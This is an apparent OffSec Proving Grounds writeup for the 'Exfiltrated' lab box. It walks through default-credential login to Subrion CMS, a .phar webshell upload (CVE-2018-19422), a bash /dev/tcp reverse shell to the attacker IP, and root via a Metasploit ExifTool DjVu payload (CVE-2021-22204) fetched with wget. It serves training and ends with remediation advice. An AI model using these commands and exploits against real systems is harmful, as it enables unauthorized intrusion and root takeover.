PT1 certified | OSCP in progress

Exfiltrated – OffSec Practice Writeup

Exfiltrated OffSec Proving Grounds Practice writeup cover

This Exfiltrated OffSec Practice writeup covers the Proving Grounds machine: a Subrion CMS phar file-upload foothold and a root escalation through a vulnerable ExifTool cron job.

Summary

Exfiltrated is an easy Linux box that chains a vulnerable CMS foothold with an image-processing privilege escalation. The web server exposes a Subrion CMS 4.2.1 admin panel reachable with trivial default credentials. That version is affected by an authenticated arbitrary file upload (CVE-2018-19422) which we abuse to drop a .phar webshell and pivot to an interactive reverse shell as www-data.

Local enumeration reveals a root-owned cron job that runs exiftool against every image uploaded to the web root. The installed exiftool 11.88 is vulnerable to CVE-2021-22204, a command injection in its DjVu metadata parser. We craft a malicious image carrying a reverse-shell payload, drop it into the watched directory, and wait for the cron job to process it as root.


Reconnaissance

rustscan -a 192.168.188.163 -- -A -oN target
PORTSERVICEINFO
22/tcpOpenSSH 8.2p1 Ubuntu 4ubuntu0.2Ubuntu Linux; protocol 2.0
80/tcpApache httpd 2.4.41 (Ubuntu)Redirects to http://exfiltrated.offsec/; robots.txt with 7 disallowed entries

The HTTP service redirects to the vhost exfiltrated.offsec, so we add it to /etc/hosts:

echo "192.168.188.163 exfiltrated.offsec" | sudo tee -a /etc/hosts

The robots.txt is the most interesting finding, disclosing several directories:

/backup/ /cron/? /front/ /install/ /panel/ /tmp/ /updates/

The /panel/ path leads to the administrator login page. The login succeeds with the default credentials admin:admin. The panel identifies itself as Subrion CMS 4.2.1, a version affected by an authenticated arbitrary file upload vulnerability leading to RCE (CVE-2018-19422).


Initial access

Searching for public exploits confirms the vector:

searchsploit Subrion 4.2
Subrion CMS 4.2.1 - Arbitrary File Upload   | php/webapps/49876.py

The automated PoC (EDB-49876) failed to run reliably, so we exploit the flaw manually. The bug lives in the CMS file manager: the upload filter blacklists common executable extensions but fails to block .phar, which Apache happily executes through the PHP handler.

We upload a PHP webshell renamed to webshell.phar through the panel’s Uploads section, then invoke it directly from the public uploads directory:

http://exfiltrated.offsec/uploads/webshell.phar

With command execution confirmed, we upgrade to an interactive reverse shell. Start a listener locally, then trigger the payload through the webshell:

/bin/bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1" &

We land a shell as www-data. Reading /etc/passwd shows the low-privilege account has no path to the next user — privilege escalation must come from a local misconfiguration rather than credential reuse.


Privilege escalation

Running linpeas highlights a root-owned cron job:

cat /etc/crontab
* * * * * root bash /opt/image-exif.sh

Reading the script shows it harvests EXIF metadata from every image in the web uploads directory, once a minute, as root:

#!/bin/bash
# A BASH script to collect EXIF metadata

echo -ne "\n metadata directory cleaned! \n\n"

IMAGES='/var/www/html/subrion/uploads'
META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"

echo -ne "\n Processing EXIF metadata now... \n\n"
ls $IMAGES | grep "jpg" | while read filename;
do
    exiftool "$IMAGES/$filename" >> $LOGFILE
done

echo -ne "\n\n Processing is finished! \n\n\n"

A PATH hijack against the unqualified exiftool / ls / grep calls was attempted but did not work, since the root cron environment uses its own PATH that does not include a writable, attacker-controlled directory.

The better lead is the tool itself. Checking the version reveals an outdated binary:

exiftool -ver
11.88

ExifTool < 12.24 is vulnerable to CVE-2021-22204, a command injection in the DjVu annotation (ant) metadata parser: an unsanitised annotation string is passed into a Perl eval, so any DjVu-wrapped image processed by the tool executes arbitrary commands. Because the cron job runs exiftool as root against attacker-writable uploads, dropping a malicious image yields a root shell.

We generate the weaponised image with the Metasploit file-format module:

msfconsole -q
use unix/fileformat/exiftool_djvu_ant_perl_injection
set payload generic/shell_reverse_tcp
set LHOST 192.168.45.168
set LPORT 5555
run

The module produces a malicious image (e.g. image.jpg). We transfer it into the watched directory, where the cron job will pick it up:

# from the www-data shell, in /var/www/html/subrion/uploads
wget http://192.168.45.168/image.jpg

Start a listener (penelope or nc) and wait up to 60 seconds for the next cron tick. When exiftool parses the DjVu annotation as root, the injected payload fires and we receive a root reverse shell, from which the root flag can be read.


Conclusion

Exfiltrated is a textbook demonstration of how stacking outdated, loosely configured components turns a low-effort foothold into full compromise. The root causes are independent but equally avoidable:

  • Default credentials on an internet-facing admin panel. admin:admin on the Subrion panel is an immediate open door; credential policy and brute-force protection would stop the entire chain at the front gate.
  • An unmaintained CMS with a known CVE. Subrion 4.2.1 has a public arbitrary-file-upload exploit; the upload filter’s extension blacklist is incomplete (.phar), a reminder that blacklists are inherently fragile versus an allowlist of known-good types plus server-side content validation.
  • A privileged cron job parsing untrusted input with a vulnerable tool. Running exiftool 11.88 as root against a world-writable upload directory is the critical escalation. Keeping media-processing tooling patched (ExifTool >= 12.24), running such jobs as an unprivileged service account, and processing uploads outside a web-writable path would each have broken the escalation.

Lessons learned

  • When a privileged cron job calls a binary by its bare name, a PATH hijack is the obvious first try, but it fails when the cron/root environment pins its own PATH. Confirm the effective PATH of the job before burning time on hijacking, and pivot to attacking the tool or its input instead.
  • Always fingerprint the version of any tool a root job runs against attacker-controlled data (<tool> -ver). Media/metadata parsers (ExifTool, ImageMagick, Ghostscript, FFmpeg) have a long history of file-parsing RCEs — the version string often is the exploit.
  • A root cron job that ingests files from a web-writable directory is a first-class escalation primitive: control the input, control the execution context.
  • Default credentials remain one of the highest-value checks on any CMS/admin panel — try admin:admin and vendor defaults before reaching for exploits.
Index